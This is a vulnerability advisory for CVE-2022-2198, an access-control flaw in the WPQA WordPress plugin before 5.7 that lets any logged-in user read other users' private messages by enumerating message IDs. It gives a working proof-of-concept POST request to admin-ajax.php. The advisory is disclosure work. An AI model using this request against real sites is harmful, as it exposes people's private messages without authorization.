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WPQA < 5.7 - Subscriber+ Private Message Disclosure via IDOR

Description

The plugin which is a companion plugin to the Hilmer and Discy themes, does not check authorization before displaying private messages, allowing any logged in user to read other users private message using the message id, which can easily be brute forced.

Proof of Concept

POST /wp-admin/admin-ajax.php HTTP/2
Cookie: <any user valid cookie>
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 42

action=wpqa_message_reply&message_id=43889

Here you can view my private message using message_id=43889

https://youtu.be/xKKouQ8cUgQ 

Affects Plugins

wpqa
Fixed in version 5.7

References

CVE
CVE-2022-2198

Classification

Type

IDOR

OWASP top 10
A5: Broken Access Control
CWE
CWE-639

Miscellaneous

Original Researcher

Bikram kharal

Submitter

Bikram kharal

Submitter website
https://bikramkharal.com.np/
Submitter twitter
themarkib
Verified

Yes

WPVDB ID
867248f2-d497-4ea8-b3f8-0f2e8aaaa2bd

Timeline

Publicly Published

2022-08-01 (about 9 months ago)

Added

2022-08-01 (about 9 months ago)

Last Updated

2023-04-30 (about 22 days ago)

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